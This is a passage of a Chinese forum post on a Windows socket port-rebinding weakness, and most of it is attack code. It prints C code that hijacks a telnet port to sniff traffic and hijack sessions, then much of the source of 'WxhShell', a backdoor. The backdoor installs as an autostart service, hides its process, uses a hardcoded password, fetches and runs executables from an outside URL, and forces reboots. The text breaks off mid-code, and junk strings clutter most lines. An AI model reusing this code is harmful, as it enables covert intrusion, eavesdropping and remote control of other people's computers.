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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: umAO&S.+M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -k2|`t _  
8:*ZuR|~  
  saddr.sin_family = AF_INET; 7)2Q  
Rg46V-"d,@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ly2!(,FB.  
]BRwJ2< x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :9x]5;ma  
* uccY_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2~ETu&R:  
7PUy`H,&  
  这意味着什么?意味着可以进行如下的攻击: cH|J  
7i02M~*uS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '^7UcgugB  
'"LaaTTs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hcYqiM@8>  
d1t_o2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q&NXF (  
{-]K!tWda  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;p <BiC$b  
iyUnxqP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,+C?UW  
w}(pc }^U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =,qY\@fq  
0jxXUWO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 55] MRv  
u WdKG({][  
  #include cG@W o8+  
  #include kJNg>SN*@#  
  #include ni )G  
  #include    -{z[.v.p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E&L ml?@  
  int main() HB*BL+S06  
  { 'Ce?!U O  
  WORD wVersionRequested; #}~?8/h!  
  DWORD ret; 5 /oW/2"  
  WSADATA wsaData; #u\~AO?h  
  BOOL val; z-"P raP  
  SOCKADDR_IN saddr; v"%>ms"n  
  SOCKADDR_IN scaddr; r9b(d]  
  int err; k!$$ *a*  
  SOCKET s;  Yy`A0v  
  SOCKET sc; UMFM.GI  
  int caddsize; 10r!p: D  
  HANDLE mt; **AkpV)  
  DWORD tid;   yOXEP  
  wVersionRequested = MAKEWORD( 2, 2 ); V,[[# a)y  
  err = WSAStartup( wVersionRequested, &wsaData ); i*&b@.7N  
  if ( err != 0 ) { g_>E5z.  
  printf("error!WSAStartup failed!\n"); n? =O@yq  
  return -1; cf"!U+x  
  } ,Tx38  
  saddr.sin_family = AF_INET; ~-%z:Re'_  
   ZdPqU \G^q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _ogN   
%X%f0J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )7P>Hj  
  saddr.sin_port = htons(23); i/!KUbt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WHLTJ]OB  
  { d#ab"&$bv  
  printf("error!socket failed!\n"); "Z&_*F.[O  
  return -1; P+_1*lOG  
  } "^ dMCS@  
  val = TRUE; ^AZv4H*~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P-yVc2YH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C+t|fSJ  
  { Z3u6m0!  
  printf("error!setsockopt failed!\n"); '%TD#!a  
  return -1; dPV<:uO  
  } 4[%_Bnv#AJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B_8JwMJu3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y0) mBCX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [L|vBr  
Klu0m~X@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I?\P^f  
  { sdd%u~4,X  
  ret=GetLastError(); z`u$C+Ov  
  printf("error!bind failed!\n"); :zO;E+s  
  return -1; wsAb8U C_  
  } ku>Bxau4>  
  listen(s,2); 7[R`52pP  
  while(1) ALInJ{X  
  { 5RY-.c4}  
  caddsize = sizeof(scaddr); K 4{[s z  
  //接受连接请求 7<2^8 `  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F`Z?$ 1  
  if(sc!=INVALID_SOCKET) ,#0#1k<Dm  
  { (58r9WhS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +OSSgY$  
  if(mt==NULL) j!0-3YKv  
  { x%W~@_  
  printf("Thread Creat Failed!\n"); &&"+\^3  
  break; c@j3L23B  
  } .~^A!t  
  } lD# yXLaC\  
  CloseHandle(mt); ~~p)_  
  } }<'ki ;  
  closesocket(s); tv]9n8v  
  WSACleanup(); =*6H!bzX  
  return 0; 9Nz}'a;?>  
  }   8`I,KkWg   
  DWORD WINAPI ClientThread(LPVOID lpParam) 3YUF\L]yyw  
  { ^0I"  
  SOCKET ss = (SOCKET)lpParam; fX1Ib$v  
  SOCKET sc; `bLJ wJ7  
  unsigned char buf[4096]; C8(0|XX  
  SOCKADDR_IN saddr; -&%! 4(Je  
  long num; +lf`Dd3  
  DWORD val; {9Q**U`w  
  DWORD ret; z'gJy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]2@lyG#<<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9sv#TT5V  
  saddr.sin_family = AF_INET; 9El{>&Fs4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yU~w Zjw  
  saddr.sin_port = htons(23); a'>n'Y~E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $o)}@TC  
  { 8ddBQfCY  
  printf("error!socket failed!\n"); qR%as0;  
  return -1; YWk+}y}^d  
  } mMCd   
  val = 100; ScT{Tb]9bt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PHH,vO[eO  
  { dtV7YPz4+  
  ret = GetLastError(); oGt2n:  
  return -1; 25W #mh,'  
  } OU?.}qc<wE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >I+p;V$@  
  { Jr(Z Ym'  
  ret = GetLastError(); @v\8+0  
  return -1; _ZK*p+u%  
  } I%z,s{9p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $B]_^  
  { D|vck1C5,  
  printf("error!socket connect failed!\n"); .[?2_e#9%  
  closesocket(sc); I&% Z*H  
  closesocket(ss); ^i@0P}K<  
  return -1; eK\i={va  
  } uj)fah?Wg  
  while(1) idjk uB(6  
  { v++&%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {~'Iu8TvZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O`9vEovjs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1V,DcolRY  
  num = recv(ss,buf,4096,0); sP>-k7K.  
  if(num>0) v*OT[l7  
  send(sc,buf,num,0); ))7CqN  
  else if(num==0) bq}`jP~#  
  break; Vw&# Lo  
  num = recv(sc,buf,4096,0); )3 '8T>^<K  
  if(num>0) -O $!sFmY  
  send(ss,buf,num,0); *3fhVl=8^*  
  else if(num==0) CX]L'  
  break; gL7rX aj  
  } 7oCY@>(f  
  closesocket(ss); z)u\(W*\iA  
  closesocket(sc); 8rLhOA  
  return 0 ; 6R#igLm  
  } [z'jL'\4  
AU8sU?=  
8/"C0I (G  
========================================================== qtz~Y~h|>  
q0nIJ(  
下边附上一个代码,,WXhSHELL UhU"[^YO  
$OzVo&P;  
========================================================== TALiH'w6|e  
>h$Q%w{V  
#include "stdafx.h" -6e^`c6{  
D]WrPWL8v  
#include <stdio.h> e0]%ko"  
#include <string.h> j=u) z7J  
#include <windows.h> P9jSLM  
#include <winsock2.h> qv<^%7gq  
#include <winsvc.h> P<LmCY m  
#include <urlmon.h> CFu^i|7o  
~sNBklK  
#pragma comment (lib, "Ws2_32.lib") sH%Ts@Pl  
#pragma comment (lib, "urlmon.lib") wVF qkJ  
*y|zF6  
#define MAX_USER   100 // 最大客户端连接数 1c*;Lr.K  
#define BUF_SOCK   200 // sock buffer u Vo"_c w  
#define KEY_BUFF   255 // 输入 buffer Q&w"!N  
l.BiE<&  
#define REBOOT     0   // 重启 *rYPjk6g[  
#define SHUTDOWN   1   // 关机 /^WOrMR  
5eM{>qr}  
#define DEF_PORT   5000 // 监听端口 nL]eGC  
6$H`wDh#(&  
#define REG_LEN     16   // 注册表键长度 _Ec"[xW  
#define SVC_LEN     80   // NT服务名长度 {"|la;*I  
_]L]_Bh  
// 从dll定义API Zlrbd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DbYnd%k*4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5+q dn|9%T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TQQh:y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _SMi`ie#  
^-"tK:{  
// wxhshell配置信息 r,:acK  
struct WSCFG { ONF x -U]  
  int ws_port;         // 监听端口 mRxeob  
  char ws_passstr[REG_LEN]; // 口令 ^,`]Q)P^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4hkyq>c}  
  char ws_regname[REG_LEN]; // 注册表键名 02-% B~oP  
  char ws_svcname[REG_LEN]; // 服务名 n|B<rx?v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E,Xl8rC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j rX`_Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XR$i:kL,,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =o'g5Be<F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b)r;a5"<5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZWKvz3Wt  
(&X/n=UI  
}; KWM}VZY:Z  
7R,;/3wWjG  
// default Wxhshell configuration Uz%ynH  
struct WSCFG wscfg={DEF_PORT, Zu94dFP  
    "xuhuanlingzhe", i9T<(sdK+  
    1, 35:RsL  
    "Wxhshell", Ve<f}  
    "Wxhshell", U(%6ny  
            "WxhShell Service", J'yCVb)V  
    "Wrsky Windows CmdShell Service", 0:c3aq&u  
    "Please Input Your Password: ", gLK0L%"5  
  1, tqjjn5!  
  "http://www.wrsky.com/wxhshell.exe", 01NP  
  "Wxhshell.exe" >4os%T  
    }; ,V{Bpr  
'-3K`[  
// 消息定义模块 "6v_<t`q"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n$E$@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w}e_ 17A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q% ^_<u  
char *msg_ws_ext="\n\rExit."; Hoi~(Vc.  
char *msg_ws_end="\n\rQuit."; }'Ph^ %ox  
char *msg_ws_boot="\n\rReboot..."; \ rKUPI\  
char *msg_ws_poff="\n\rShutdown..."; p[)yn%uh  
char *msg_ws_down="\n\rSave to "; :SY,;..3e  
^)h&s*  
char *msg_ws_err="\n\rErr!"; +{#Z^y6&  
char *msg_ws_ok="\n\rOK!"; 9_ ~9?5PU  
>:BgatyPH  
char ExeFile[MAX_PATH]; RMdU1@  
int nUser = 0; j]aIJbi  
HANDLE handles[MAX_USER]; G3h"Eo?>g  
int OsIsNt; PH'n`D #  
XV,ce~ro[  
SERVICE_STATUS       serviceStatus; IYa(B+nB)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e*d lGK3l  
A+FQmLS  
// 函数声明 X1BqN+=@9  
int Install(void); Dn#UcMO>W  
int Uninstall(void); O9N+<sU=X  
int DownloadFile(char *sURL, SOCKET wsh); C 'S_M@I=  
int Boot(int flag); TP)o0U  
void HideProc(void); j,z)x[3}  
int GetOsVer(void); dux_v"Xl  
int Wxhshell(SOCKET wsl); Mhc5<~?  
void TalkWithClient(void *cs); MM( ,D& Z  
int CmdShell(SOCKET sock); G&4D0f  
int StartFromService(void); 5xU}}[|~-  
int StartWxhshell(LPSTR lpCmdLine); I.`D BI#-f  
H}(WL+7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qac:"z'9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r$Ik* R  
_qh \  
// 数据结构和表定义 <N3~X,ch  
SERVICE_TABLE_ENTRY DispatchTable[] = V}Oz!  O  
{ KIKIag#  
{wscfg.ws_svcname, NTServiceMain}, ^==Tv+T9U  
{NULL, NULL} JOs kf(  
}; -lXQQ#V -  
<vu~EY0.  
// 自我安装 `, 4YPjk^  
int Install(void) 2EO9IxIf  
{ ce719n$   
  char svExeFile[MAX_PATH]; l_,6<wWp  
  HKEY key; Mgu9m8 `J  
  strcpy(svExeFile,ExeFile); xn)F(P 0kv  
}iLi5Qkx  
// 如果是win9x系统,修改注册表设为自启动 %=V" }P[  
if(!OsIsNt) { &3)6WD?:U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p0}Yo8?OW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o ,xy'  
  RegCloseKey(key); ZVit] 3hd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~{N#JOY}Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z]=Ks_7  
  RegCloseKey(key); NdRE,HWd?$  
  return 0; q6x}\$mL  
    } JIc9csr:b  
  } @ ]42.oP  
} 8: uh0  
else { )QmmI[,tq  
gV*4{ d`  
// 如果是NT以上系统,安装为系统服务 -w'g0/fD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ::3[H$  
if (schSCManager!=0) 4#I=n~8a  
{ {}=5uU2Tu  
  SC_HANDLE schService = CreateService `V.tqZF  
  ( !"aGo1 $$  
  schSCManager, @Y+kg  
  wscfg.ws_svcname, QD1&"T<.d.  
  wscfg.ws_svcdisp, U@(8)[?nxn  
  SERVICE_ALL_ACCESS, t{B6W)q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >,rzPc)  
  SERVICE_AUTO_START, |C,]-mJG  
  SERVICE_ERROR_NORMAL, jP<6Q|5F  
  svExeFile, TPY&O{ q  
  NULL, u{dkUG1ia  
  NULL, A.YK=_J  
  NULL, W&m3"~BJ  
  NULL, kHQn' r6  
  NULL WMFn#.aY5  
  ); ;#*.@Or@Ah  
  if (schService!=0) h645;sb0  
  { L$jii  
  CloseServiceHandle(schService); `];ne]xM  
  CloseServiceHandle(schSCManager); Ad -_=a%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `[ZA#8Ma  
  strcat(svExeFile,wscfg.ws_svcname); [G[{?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BL%&n*&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 715J1~aRNr  
  RegCloseKey(key); |@?='E?h  
  return 0; kpk ^Uw%f  
    } v~p?YYOm<  
  } 9>_VU"T  
  CloseServiceHandle(schSCManager); ,3)JZM  
} f,BJb+0  
} ]HRHF'4  
DvA#zX[  
return 1; P#;pQC  
} 'OMl9}M  
mmMiA@0  
// 自我卸载 =s S=  
int Uninstall(void) MJK PpQ(,  
{ .&K?@T4l  
  HKEY key; XD[9wd5w8  
lHu/pSu@k  
if(!OsIsNt) { 9(bbV5}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GW9,%}l^;  
  RegDeleteValue(key,wscfg.ws_regname); 'n?"f|G  
  RegCloseKey(key); w}29#F\]R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \`8F.oZ^)  
  RegDeleteValue(key,wscfg.ws_regname); {4%ddJn[.)  
  RegCloseKey(key); E>"SC\#7  
  return 0; "`w*-O  
  } viVn  
} R!rMrWX  
} TdoH(( nY  
else { Fo]]j=  
bnE&-N*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O [=W%2I!i  
if (schSCManager!=0) Zh?n;n}  
{ M@0S*[O{"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )EN ,Ry  
  if (schService!=0) 26j-1c!NGd  
  { `EiL~*  
  if(DeleteService(schService)!=0) { LBcqFvj{&  
  CloseServiceHandle(schService); x+1-^XvK  
  CloseServiceHandle(schSCManager); 4XeO^#  
  return 0; 4U[X-AIY&  
  } aCBq}Xcn  
  CloseServiceHandle(schService); 0s.4]Zg>5  
  } V. o*`V  
  CloseServiceHandle(schSCManager); J!'IkC$>  
} D P:}<  
} %\%&1  
mn\GLR.  
return 1; Qb:.WMj[q+  
} XK(aH~7xme  
Rr\fw'  
// 从指定url下载文件 X)8Edw[?N3  
int DownloadFile(char *sURL, SOCKET wsh) i2\CDYP  
{ \9} -5  
  HRESULT hr; g#5t8w  
char seps[]= "/"; FWS!b!#,N  
char *token; BkDq9>  
char *file; CTc#*LJx>j  
char myURL[MAX_PATH]; z}p*";)A  
char myFILE[MAX_PATH]; }5?|iUH|  
b+71`aD0  
strcpy(myURL,sURL); W#9LK Jj  
  token=strtok(myURL,seps); /NVyzM51V  
  while(token!=NULL) o* QZf *M  
  { P{8<U8E  
    file=token; a$G hb]  
  token=strtok(NULL,seps); M!\6Fl{ b  
  } J!zL)u|  
QmsS,Zljo  
GetCurrentDirectory(MAX_PATH,myFILE); |:d_IB@  
strcat(myFILE, "\\"); /IC]}0kkp  
strcat(myFILE, file); m9Dg%\B  
  send(wsh,myFILE,strlen(myFILE),0); "+BuFhSLf  
send(wsh,"...",3,0); PC)V".W 1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PS??wlp7  
  if(hr==S_OK) M5]$w]Ny9  
return 0; `P;uPQDzZ3  
else lq27^K  
return 1; W1O m$S1  
@h7 i;Ok  
} j,N,WtE  
I4zm{ 1g  
// 系统电源模块 QFEc?sEe  
int Boot(int flag) v/3Vsd  
{ U[!wu]HMF  
  HANDLE hToken; }z2K"eGt  
  TOKEN_PRIVILEGES tkp; ]tEH`Kl  
o(xt%'L`t  
  if(OsIsNt) { vu/P"?F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LeMo")dk\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jL~. =QD  
    tkp.PrivilegeCount = 1; 8;Df/ %  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hx@E,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ds.)sKA>  
if(flag==REBOOT) { X""}]@B9z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6^nxw>-   
  return 0; 4n.EA,:g:(  
} Qexv_:C  
else { cA+O]",}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }4xz,oN  
  return 0; L$f:D2Ei  
} p,#**g:  
  } e&=T`  
  else { kn6X I*  
if(flag==REBOOT) { "ODs.m oq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) })ic@ Mmd$  
  return 0; ':T6m=yv  
} Yo2n [  
else { 4i Z7BD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0bR})}a+Yg  
  return 0; M Y>o8A  
} u-~?ylh  
} ixo?o]Xb`  
eHI7= [h  
return 1; irzWk3@:  
} .cg"M0  
62J -)~_  
// win9x进程隐藏模块 BO-=X 78f@  
void HideProc(void) /;r k-I  
{ l":Z. J  
;S^7Q5-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pkEqd"G  
  if ( hKernel != NULL ) OYNPZRu  
  { 0p ZX_L'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;=?KQq f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `n~bDG>  
    FreeLibrary(hKernel); z8n]6FDiE  
  } \Y}nehxG@  
KdkZ-.  
return; u6u1>  
} !l1ycQM  
0%<x>O  
// 获取操作系统版本 Q:!.YSB  
int GetOsVer(void) ih/MW_t=m=  
{ O[#pB. 4  
  OSVERSIONINFO winfo; X{b qG]j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ym "Nj  
  GetVersionEx(&winfo); M `bEnu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sDvtk]4o-4  
  return 1; Z'L}x6  
  else #97w6,P+  
  return 0; eZ~ZWb,%  
} !|gln)|A  
2Aq%;=+*  
// 客户端句柄模块 X"qC&oZmf  
int Wxhshell(SOCKET wsl) :TzHI    
{ d*xKq"+ &E  
  SOCKET wsh; 6P KH%  
  struct sockaddr_in client; 4RV5:&ALLS  
  DWORD myID; o Z#4<7K  
tMWsgK.B  
  while(nUser<MAX_USER) 8P'zQ:#RV  
{ -hIDL'5u-I  
  int nSize=sizeof(client); i''[ u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L5tSS=  
  if(wsh==INVALID_SOCKET) return 1; Fn~?YN  
.oFkx*Ln  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %l7|+%M.{  
if(handles[nUser]==0) *@2?_b}A ^  
  closesocket(wsh); _n;V iQMu  
else t K+K lz  
  nUser++; n-7|{1U  
  } vpGeG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T 6g(,xPcL  
_pv<_ Sm  
  return 0; tOK lCc  
} {$ghf"  
C 4 &1M  
// 关闭 socket 7VdG6`TDR  
void CloseIt(SOCKET wsh) P+Ta|-  
{ (Wu_RXfCw_  
closesocket(wsh); dfBTx6/F  
nUser--; p Rn vd|  
ExitThread(0); v]tbs)x;h  
} E}V8+f54S  
a0oM KGW:  
// 客户端请求句柄 k%?fy  
void TalkWithClient(void *cs) )o<rU[oD]C  
{ W^Jh'^E  
jMvWS71  
  SOCKET wsh=(SOCKET)cs; gZ*8F|sg  
  char pwd[SVC_LEN]; Jm|eZDp  
  char cmd[KEY_BUFF]; Ub8|x]ix  
char chr[1]; DV(^h$1_  
int i,j; Gmi w(T  
-$#'  
  while (nUser < MAX_USER) { 2V0gj /&  
IG1+_-H:  
if(wscfg.ws_passstr) { MH+t`/E0]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '{:WxGgi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :6 ?&L  
  //ZeroMemory(pwd,KEY_BUFF); FbVdqO  
      i=0; x>^r%<WbX  
  while(i<SVC_LEN) { |.x |BJ  
%Bo/vB'  
  // 设置超时 w6M EY"<L  
  fd_set FdRead; E.$1CGd+  
  struct timeval TimeOut; %G& Zm$u=  
  FD_ZERO(&FdRead); g_\U-pzr  
  FD_SET(wsh,&FdRead); 6_a42#  
  TimeOut.tv_sec=8; hVe@:1og#  
  TimeOut.tv_usec=0; 8kz7*AO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q]7Rqslz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Br2ZloJ@+  
G!J{$0.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x;,H>!r"i  
  pwd=chr[0]; oGi;S="I  
  if(chr[0]==0xd || chr[0]==0xa) { +SGM3tY  
  pwd=0; iol.RszlZ|  
  break; 51Yq>'8  
  } g|r:+%,M  
  i++; _e<3 g9bj  
    } xeqAFq=9?  
!xm87I  
  // 如果是非法用户,关闭 socket n%lY7.z8d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kDM\IyM<\  
} Dz4fP;n  
IG?044Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Z*k M VN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  hfpSxL  
D}1Z TX_  
while(1) { -MrEJ  
0#~e KF y  
  ZeroMemory(cmd,KEY_BUFF); H]5%"(h  
>}` q4U6$  
      // 自动支持客户端 telnet标准   9S ~!!7oj  
  j=0; )x1LOMe  
  while(j<KEY_BUFF) { A ^YHtJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i?uJ<BdU[  
  cmd[j]=chr[0]; t&+f:)n  
  if(chr[0]==0xa || chr[0]==0xd) { lPL>8.j  
  cmd[j]=0; PT7L65  
  break; &u-H/C U%  
  } F0O"rN{  
  j++; <4,n6$E  
    } :jB8Q$s  
9ZjSM,+  
  // 下载文件 U$R+&@;  
  if(strstr(cmd,"http://")) { [,s{/OM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l$$N~FN  
  if(DownloadFile(cmd,wsh)) @#q>(Ox%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ay~l%x  
  else ", b}-B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bq5tEn  
  } ek~bXy{O`  
  else { ngM>Tzirt  
qrBo'@7  
    switch(cmd[0]) { 7(<6+q2~  
  {64od0:T  
  // 帮助 Xk[;MZ[  
  case '?': { y#HDJ=2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OHixOI$O  
    break; iJ HOLz"!  
  } j8*fa  
  // 安装 r'7>J:cy=  
  case 'i': { Gp.+&\vi  
    if(Install()) ydOJ^Yty  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vy?Zz<c;  
    else VmM?KlC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @l~zn%!X  
    break; 8KKI.i8`  
    } b]s.h8+v;  
  // 卸载 @Y":DHF5q  
  case 'r': { '&{`^l/ MH  
    if(Uninstall()) D~W1["[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .JIn(  
    else jRP.Je@t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a>jiq8d]4  
    break; JAM4 R_  
    } C FY3D|  
  // 显示 wxhshell 所在路径 m'&^\7;D  
  case 'p': { {?c `0C  
    char svExeFile[MAX_PATH]; {VqcZhqy/l  
    strcpy(svExeFile,"\n\r"); iXpLcHi  
      strcat(svExeFile,ExeFile); \Ub=Wm\  
        send(wsh,svExeFile,strlen(svExeFile),0); A;E7~qOG  
    break; Qzbelt@Wx  
    } !"{+|heU9p  
  // 重启 N<V,5  
  case 'b': { s,Uc cA@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cTf/B=yMi  
    if(Boot(REBOOT)) ).HYW _Yih  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J0@ ^h  
    else { _<x4/".}B3  
    closesocket(wsh); tkr RdCq  
    ExitThread(0); '(M8D5?N-  
    } X!r9  
    break; |Rk$u  
    } L=zt\L  
  // 关机 X2PQL"`  
  case 'd': { 86(8p_&zC  
